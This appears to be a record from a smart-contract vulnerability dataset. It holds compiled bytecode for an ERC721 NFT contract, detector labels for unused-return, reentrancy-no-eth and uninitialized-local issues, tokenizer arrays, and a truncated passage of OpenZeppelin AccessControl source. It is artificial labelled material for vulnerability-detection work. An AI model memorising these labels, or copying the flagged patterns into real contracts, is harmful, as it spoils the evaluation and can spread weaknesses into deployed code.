fffffffffff191614806125b257506125b182612dac565b5b9050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166126a08361143a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006126f1826125c1565b612730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272790614649565b60405180910390fd5b600061273b8361143a565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806127aa57508373ffffffffffffffffffffffffffffffffffffffff1661279284610c13565b73ffffffffffffffffffffffffffffffffffffffff16145b806127bb57506127ba818561228d565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166127e48261143a565b73ffffffffffffffffffffffffffffffffffffffff161461283a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612831906147c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a190614609565b60405180910390fd5b6128b5838383612e26565b6128c060008261262d565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129109190614af3565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129679190614a12565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612710811115612b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2290614549565b60405180910390fd5b612b3582826118d2565b600b819055505050565b612b59828260405180602001604052806000815250612f3a565b5050565b612b688484846127c4565b612b7484848484612f95565b612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa90614589565b60405180910390fd5b50505050565b6060600c8054612bc890614c0c565b80601f0160208091040260200160405190810160405280929190818152602001828054612bf490614c0c565b8015612c415780601f10612c1657610100808354040283529160200191612c41565b820191906000526020600020905b815481529060010190602001808311612c2457829003601f168201915b5050505050905090565b60606000821415612c93576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612da7565b600082905060005b60008214612cc5578080612cae90614c6f565b915050600a82612cbe9190614a68565b9150612c9b565b60008167ffffffffffffffff811115612ce157612ce0614e03565b5b6040519080825280601f01601f191660200182016040528015612d135781602001600182028036833780820191505090505b5090505b60008514612da057600182612d2c9190614af3565b9150600a85612d3b9190614cb8565b6030612d479190614a12565b60f81b818381518110612d5d57612d5c614dd4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612d999190614a68565b9450612d17565b8093505050505b919050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612e1f5750612e1e8261312c565b5b9050919050565b612e3183838361320e565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e7457612e6f81613213565b612eb3565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612eb257612eb1838261325c565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ef657612ef1816133c9565b612f35565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612f3457612f33828261349a565b5b5b505050565b612f448383613519565b612f516000848484612f95565b612f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f8790614589565b60405180910390fd5b505050565b6000612fb68473ffffffffffffffffffffffffffffffffffffffff166136e7565b1561311f578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612fdf6125b9565b8786866040518563ffffffff1660e01b8152600401613001949392919061443f565b602060405180830381600087803b15801561301b57600080fd5b505af192505050801561304c57506040513d601f19601f820116820180604052508101906130499190613d28565b60015b6130cf573d806000811461307c576040519150601f19603f3d011682016040523d82523d6000602084013e613081565b606091505b506000815114156130c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130be90614589565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613124565b600190505b949350505050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806131f757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806132075750613206826136fa565b5b9050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161326984611613565b6132739190614af3565b9050600060076000848152602001908152602001600020549050818114613358576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506133dd9190614af3565b905060006009600084815260200190815260200160002054905060006008838154811061340d5761340c614dd4565b5b90600052602060002001549050806008838154811061342f5761342e614dd4565b5b90600052602060002001819055508160096000838152602001908152602001600020819055506009600085815260200190815260200160002060009055600880548061347e5761347d614da5565b5b6001900381819060005260206000200160009055905550505050565b60006134a583611613565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613589576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161358090614749565b60405180910390fd5b613592816125c1565b156135d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c9906145c9565b60405180910390fd5b6135de60008383612e26565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461362e9190614a12565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b82805461377090614c0c565b90600052602060002090601f01602090048101928261379257600085556137d9565b82601f106137ab57805160ff19168380011785556137d9565b828001600101855582156137d9579182015b828111156137d85782518255916020019190600101906137bd565b5b5090506137e691906138ab565b5090565b508054600082559060005260206000209081019061380891906138ab565b50565b82805482825590600052602060002090810192821561389a579160200282015b8281111561389957823573ffffffffffffffffffffffffffffffffffffffff168260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019061382b565b5b5090506138a791906138ab565b5090565b5b808211156138c45760008160009055506001016138ac565b5090565b60006138db6138d684614929565b614904565b9050828152602081018484840111156138f7576138f6614e41565b5b613902848285614bca565b509392505050565b600061391d6139188461495a565b614904565b90508281526020810184848401111561393957613938614e41565b5b613944848285614bca565b509392505050565b60008135905061395b8161557d565b92915050565b60008083601f84011261397757613976614e37565b5b8235905067ffffffffffffffff81111561399457613993614e32565b5b6020830191508360208202830111156139b0576139af614e3c565b5b9250929050565b6000813590506139c681615594565b92915050565b6000813590506139db816155ab565b92915050565b6000813590506139f0816155c2565b92915050565b600081519050613a05816155c2565b92915050565b600082601f830112613a2057613a1f614e37565b5b8135613a308482602086016138c8565b91505092915050565b600081359050613a48816155d9565b92915050565b600082601f830112613a6357613a62614e37565b5b8135613a7384826020860161390a565b91505092915050565b600081359050613a8b816155e9565b92915050565b600060208284031215613aa757613aa6614e4b565b5b6000613ab58482850161394c565b91505092915050565b60008060408385031215613ad557613ad4614e4b565b5b6000613ae38582860161394c565b9250506020613af48582860161394c565b9150509250929050565b600080600060608486031215613b1757613b16614e4b565b5b6000613b258682870161394c565b9350506020613b368682870161394c565b9250506040613b4786828701613a7c565b9150509250925092565b60008060008060808587031215613b6b57613b6a614e4b565b5b6000613b798782880161394c565b9450506020613b8a8782880161394c565b9350506040613b9b87828801613a7c565b925050606085013567ffffffffffffffff811115613bbc57613bbb614e46565b5b613bc887828801613a0b565b91505092959194509250565b60008060408385031215613beb57613bea614e4b565b5b6000613bf98582860161394c565b9250506020613c0a858286016139b7565b9150509250929050565b60008060408385031215613c2b57613c2a614e4b565b5b6000613c398582860161394c565b9250506020613c4a85828601613a7c565b9150509250929050565b60008060208385031215613c6b57613c6a614e4b565b5b600083013567ffffffffffffffff811115613c8957613c88614e46565b5b613c9585828601613961565b92509250509250929050565b600060208284031215613cb757613cb6614e4b565b5b6000613cc5848285016139b7565b91505092915050565b600060208284031215613ce457613ce3614e4b565b5b6000613cf2848285016139cc565b91505092915050565b600060208284031215613d1157613d10614e4b565b5b6000613d1f848285016139e1565b91505092915050565b600060208284031215613d3e57613d3d614e4b565b5b6000613d4c848285016139f6565b91505092915050565b600060208284031215613d6b57613d6a614e4b565b5b600082013567ffffffffffffffff811115613d8957613d88614e46565b5b613d9584828501613a4e565b91505092915050565b600060208284031215613db457613db3614e4b565b5b6000613dc284828501613a7c565b91505092915050565b60008060408385031215613de257613de1614e4b565b5b6000613df085828601613a7c565b9250506020613e0185828601613a7c565b9150509250929050565b600080600060608486031215613e2457613e23614e4b565b5b6000613e3286828701613a7c565b9350506020613e4386828701613a7c565b9250506040613e5486828701613a39565b9150509250925092565b6000613e6a83836143cd565b60208301905092915050565b613e7f81614b27565b82525050565b6000613e908261499b565b613e9a81856149c9565b9350613ea58361498b565b8060005b83811015613ed6578151613ebd8882613e5e565b9750613ec8836149bc565b925050600181019050613ea9565b5085935050505092915050565b613eec81614b39565b82525050565b613efb81614b45565b82525050565b6000613f0c826149a6565b613f1681856149da565b9350613f26818560208601614bd9565b613f2f81614e50565b840191505092915050565b613f4381614bb8565b82525050565b6000613f54826149b1565b613f5e81856149f6565b9350613f6e818560208601614bd9565b613f7781614e50565b840191505092915050565b6000613f8d826149b1565b613f978185614a07565b9350613fa7818560208601614bd9565b80840191505092915050565b6000613fc0601a836149f6565b9150613fcb82614e61565b602082019050919050565b6000613fe3602b836149f6565b9150613fee82614e8a565b604082019050919050565b60006140066032836149f6565b915061401182614ed9565b604082019050919050565b60006140296026836149f6565b915061403482614f28565b604082019050919050565b600061404c601c836149f6565b915061405782614f77565b602082019050919050565b600061406f602b836149f6565b915061407a82614fa0565b604082019050919050565b60006140926024836149f6565b915061409d82614fef565b604082019050919050565b60006140b56019836149f6565b91506140c08261503e565b602082019050919050565b60006140d8602c836149f6565b91506140e382615067565b604082019050919050565b60006140fb6038836149f6565b9150614106826150b6565b604082019050919050565b600061411e602a836149f6565b915061412982615105565b604082019050919050565b60006141416029836149f6565b915061414c82615154565b604082019050919050565b60006141646016836149f6565b915061416f826151a3565b602082019050919050565b60006141876024836149f6565b9150614192826151cc565b604082019050919050565b60006141aa6013836149f6565b91506141b58261521b565b602082019050919050565b60006141cd601d836149f6565b91506141d882615244565b602082019050919050565b60006141f06020836149f6565b91506141fb8261526d565b602082019050919050565b6000614213602c836149f6565b915061421e82615296565b604082019050919050565b60006142366020836149f6565b9150614241826152e5565b602082019050919050565b60006142596016836149f6565b91506142648261530e565b602082019050919050565b600061427c6029836149f6565b915061428782615337565b604082019050919050565b600061429f602f836149f6565b91506142aa82615386565b604082019050919050565b60006142c26021836149f6565b91506142cd826153d5565b604082019050919050565b60006142e56000836149eb565b91506142f082615424565b600082019050919050565b60006143086012836149f6565b915061431382615427565b602082019050919050565b600061432b6031836149f6565b915061433682615450565b604082019050919050565b600061434e602c836149f6565b91506143598261549f565b604082019050919050565b60006143716017836149f6565b915061437c826154ee565b602082019050919050565b6000614394601b836149f6565b915061439f82615517565b602082019050919050565b60006143b7600e836149f6565b91506143c282615540565b602082019050919050565b6143d681614bae565b82525050565b6143e581614bae565b82525050565b60006143f78285613f82565b91506144038284613f82565b91508190509392505050565b600061441a826142d8565b9150819050919050565b60006020820190506144396000830184613e76565b92915050565b60006080820190506144546000830187613e76565b6144616020830186613e76565b61446e60408301856143dc565b81810360608301526144808184613f01565b905095945050505050565b60006040820190506144a06000830185613e76565b6144ad60208301846143dc565b9392505050565b600060208201905081810360008301526144ce8184613e85565b905092915050565b60006020820190506144eb6000830184613ee3565b92915050565b60006020820190506145066000830184613ef2565b92915050565b60006020820190506145216000830184613f3a565b92915050565b600060208201905081810360008301526145418184613f49565b905092915050565b6000602082019050818103600083015261456281613fb3565b9050919050565b6000602082019050818103600083015261458281613fd6565b9050919050565b600060208201905081810360008301526145a281613ff9565b9050919050565b600060208201905081810360008301526145c28161401c565b9050919050565b600060208201905081810360008301526145e28161403f565b9050919050565b6000602082019050818103600083015261460281614062565b9050919050565b6000602082019050818103600083015261462281614085565b9050919050565b60006020820190508181036000830152614642816140a8565b9050919050565b60006020820190508181036000830152614662816140cb565b9050919050565b60006020820190508181036000830152614682816140ee565b9050919050565b600060208201905081810360008301526146a281614111565b9050919050565b600060208201905081810360008301526146c281614134565b9050919050565b600060208201905081810360008301526146e281614157565b9050919050565b600060208201905081810360008301526147028161417a565b9050919050565b600060208201905081810360008301526147228161419d565b9050919050565b60006020820190508181036000830152614742816141c0565b9050919050565b60006020820190508181036000830152614762816141e3565b9050919050565b6000602082019050818103600083015261478281614206565b9050919050565b600060208201905081810360008301526147a281614229565b9050919050565b600060208201905081810360008301526147c28161424c565b9050919050565b600060208201905081810360008301526147e28161426f565b9050919050565b6000602082019050818103600083015261480281614292565b9050919050565b60006020820190508181036000830152614822816142b5565b9050919050565b60006020820190508181036000830152614842816142fb565b9050919050565b600060208201905081810360008301526148628161431e565b9050919050565b6000602082019050818103600083015261488281614341565b9050919050565b600060208201905081810360008301526148a281614364565b9050919050565b600060208201905081810360008301526148c281614387565b9050919050565b600060208201905081810360008301526148e2816143aa565b9050919050565b60006020820190506148fe60008301846143dc565b92915050565b600061490e61491f565b905061491a8282614c3e565b919050565b6000604051905090565b600067ffffffffffffffff82111561494457614943614e03565b5b61494d82614e50565b9050602081019050919050565b600067ffffffffffffffff82111561497557614974614e03565b5b61497e82614e50565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614a1d82614bae565b9150614a2883614bae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614a5d57614a5c614ce9565b5b828201905092915050565b6000614a7382614bae565b9150614a7e83614bae565b925082614a8e57614a8d614d18565b5b828204905092915050565b6000614aa482614bae565b9150614aaf83614bae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614ae857614ae7614ce9565b5b828202905092915050565b6000614afe82614bae565b9150614b0983614bae565b925082821015614b1c57614b1b614ce9565b5b828203905092915050565b6000614b3282614b8e565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000819050614b8982615569565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000614bc382614b7b565b9050919050565b82818337600083830152505050565b60005b83811015614bf7578082015181840152602081019050614bdc565b83811115614c06576000848401525b50505050565b60006002820490506001821680614c2457607f821691505b60208210811415614c3857614c37614d76565b5b50919050565b614c4782614e50565b810181811067ffffffffffffffff82111715614c6657614c65614e03565b5b80604052505050565b6000614c7a82614bae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614cad57614cac614ce9565b5b600182019050919050565b6000614cc382614bae565b9150614cce83614bae565b925082614cde57614cdd614d18565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332393831526f79616c746965733a20546f6f2068696768000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f616c6c20746f6b656e732066726f6d2063757272656e742064726f70206e6f7460008201527f20796574206d696e746564000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f6d6178204e4654206c696d697420657863656564656400000000000000000000600082015250565b7f6d6178206d696e7420616d6f756e74207065722073657373696f6e206578636560008201527f6564656400000000000000000000000000000000000000000000000000000000602082015250565b7f6f6e6c79206f776e65722063616e206d696e7400000000000000000000000000600082015250565b7f746f6b656e204944206973206e6f742079657420617661696c61626c65000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f74686520636f6e74726163742069732070617573656400000000000000000000600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f696e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f75736572206973206e6f742077686974656c6973746564000000000000000000600082015250565b7f6e65656420746f206d696e74206174206c656173742031204e46540000000000600082015250565b7f2157524f4e475f414d4f554e5421000000000000000000000000000000000000600082015250565b6006811061557a57615579614d47565b5b50565b61558681614b27565b811461559157600080fd5b50565b61559d81614b39565b81146155a857600080fd5b50565b6155b481614b45565b81146155bf57600080fd5b50565b6155cb81614b4f565b81146155d657600080fd5b50565b600681106155e657600080fd5b50565b6155f281614bae565b81146155fd57600080fd5b5056fea2646970667358221220e58b27eb15337ece2b8651b3c380d158986a8f82263b08b12421fe114554ebd664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2050, 2581, 2050, 2575, 2620, 2683, 2620, 2094, 2620, 2487, 2094, 21926, 2094, 2629, 2278, 2575, 2581, 2575, 2278, 11387, 2094, 2692, 2629, 2098, 2692, 2497, 12376, 2581, 16576, 2497, 22203, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 8311, 1013, 29464, 11890, 24594, 2620, 2487, 13238, 2389, 7368, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 29464, 11890, 24594, 2620, 2487, 13238, 2389, 7368, 1013, 1013, 1013, 1030, 16475, 8278, 2005, 1996, 9413, 2278, 24594, 2620, 2487, 1011, 19204, 16664, 3115, 8278, 29464, 11890, 24594, 2620, 2487, 13238, 2389, 7368, 1063, 1013, 1013, 1013, 1030, 5060, 2170, 2007, 1996, 5096, 3976, 2000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,191
0x965afaEc68652fa77d49C3DE7569DecfF7d5aD23
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal onlyInitializing { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their 